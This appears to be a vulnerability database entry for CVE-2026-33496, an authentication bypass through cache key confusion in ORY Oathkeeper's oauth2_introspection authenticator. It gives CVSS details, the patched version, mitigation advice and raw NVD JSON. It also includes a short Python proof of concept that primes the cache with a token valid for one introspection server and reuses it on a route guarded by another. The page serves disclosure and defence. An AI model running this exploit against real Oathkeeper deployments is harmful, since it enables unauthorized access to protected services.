Security Vulnerability Report
中文
CVE-2026-33496 CVSS 8.1 HIGH

CVE-2026-33496

Published: 2026-03-26 18:16:31
Last Modified: 2026-04-07 21:15:26

Description

ORY Oathkeeper is an Identity & Access Proxy (IAP) and Access Control Decision API that authorizes HTTP requests based on sets of Access Rules. Versions prior to 26.2.0 are vulnerable to authentication bypass due to cache key confusion. The `oauth2_introspection` authenticator cache does not distinguish tokens that were validated with different introspection URLs. An attacker can therefore legitimately use a token to prime the cache, and subsequently use the same token for rules that use a different introspection server. Ory Oathkeeper has to be configured with multiple `oauth2_introspection` authenticator servers, each accepting different tokens. The authenticators also must be configured to use caching. An attacker has to have a way to gain a valid token for one of the configured introspection servers. Starting in version 26.2.0, Ory Oathkeeper includes the introspection server URL in the cache key, preventing confusion of tokens. Update to the patched version of Ory Oathkeeper. If that is not immediately possible, disable caching for `oauth2_introspection` authenticators.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ory:oathkeeper:*:*:*:*:*:*:*:* - VULNERABLE
ORY Oathkeeper < 26.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-33496 import requests # Configuration target_url = "https://target-oathkeeper.com" introspection_endpoint_A = "https://auth-server-a.com/introspect" introspection_endpoint_B = "https://auth-server-b.com/introspect" valid_token_for_A = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Step 1: Prime the cache by sending a request authenticating against Server A # This causes Oathkeeper to cache the token as 'valid' for this specific token value headers = {"Authorization": f"Bearer {valid_token_for_A}"} print("[*] Priming cache with token valid for Server A...") response = requests.get(f"{target_url}/route-protected-by-A", headers=headers) print(f"Status: {response.status_code}") # Step 2: Exploit the cache confusion # Use the same token to access a route protected by Server B # Because the cache key does not include the Introspection URL, # Oathkeeper returns the cached result from Step 1, bypassing validation against Server B print("[*] Attempting to access route protected by Server B using the same token...") response = requests.get(f"{target_url}/route-protected-by-B", headers=headers) if response.status_code == 200: print("[!] Exploit successful! Authentication bypassed via cache confusion.") else: print("[-] Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33496", "sourceIdentifier": "[email protected]", "published": "2026-03-26T18:16:30.730", "lastModified": "2026-04-07T21:15:26.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ORY Oathkeeper is an Identity & Access Proxy (IAP) and Access Control Decision API that authorizes HTTP requests based on sets of Access Rules. Versions prior to 26.2.0 are vulnerable to authentication bypass due to cache key confusion. The `oauth2_introspection` authenticator cache does not distinguish tokens that were validated with different introspection URLs. An attacker can therefore legitimately use a token to prime the cache, and subsequently use the same token for rules that use a different introspection server. Ory Oathkeeper has to be configured with multiple `oauth2_introspection` authenticator servers, each accepting different tokens. The authenticators also must be configured to use caching. An attacker has to have a way to gain a valid token for one of the configured introspection servers. Starting in version 26.2.0, Ory Oathkeeper includes the introspection server URL in the cache key, preventing confusion of tokens. Update to the patched version of Ory Oathkeeper. If that is not immediately possible, disable caching for `oauth2_introspection` authenticators."}, {"lang": "es", "value": "ORY Oathkeeper es un Proxy de Identidad y Acceso (IAP) y una API de Decisión de Control de Acceso que autoriza solicitudes HTTP basándose en conjuntos de Reglas de Acceso. Las versiones anteriores a la 26.2.0 son vulnerables a la omisión de autenticación debido a la confusión de claves de caché. La caché del autenticador `oauth2_introspection` no distingue los tokens que fueron validados con diferentes URL de introspección. Un atacante puede, por lo tanto, usar legítimamente un token para cebar la caché y posteriormente usar el mismo token para reglas que usan un servidor de introspección diferente. Ory Oathkeeper debe configurarse con múltiples servidores autenticadores `oauth2_introspection`, cada uno aceptando tokens diferentes. Los autenticadores también deben configurarse para usar el almacenamiento en caché. Un atacante tiene que tener una forma de obtener un token válido para uno de los servidores de introspección configurados. A partir de la versión 26.2.0, Ory Oathkeeper incluye la URL del servidor de introspección en la clave de caché, evitando la confusión de tokens. Actualice a la versión parcheada de Ory Oathkeeper. Si eso no es posible de inmediato, deshabilite el almacenamiento en caché para los autenticadores `oauth2_introspection`."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-305"}, {"lang": "en", "value": "CWE-1289"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ory:oathkeeper:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2.0", "matchCriteriaId": "657854A7-D847-40E5-9771-601F5BF0FDA4"}]}]}], "references": [{"url": "https://github.com/ory/oathkeeper/commit/198a2bc82a99e0a77bd0ffe290cbdd5285a1b17c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ory/oathkeeper/security/advisories/GHSA-4mq7-pvjg-xp2r", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}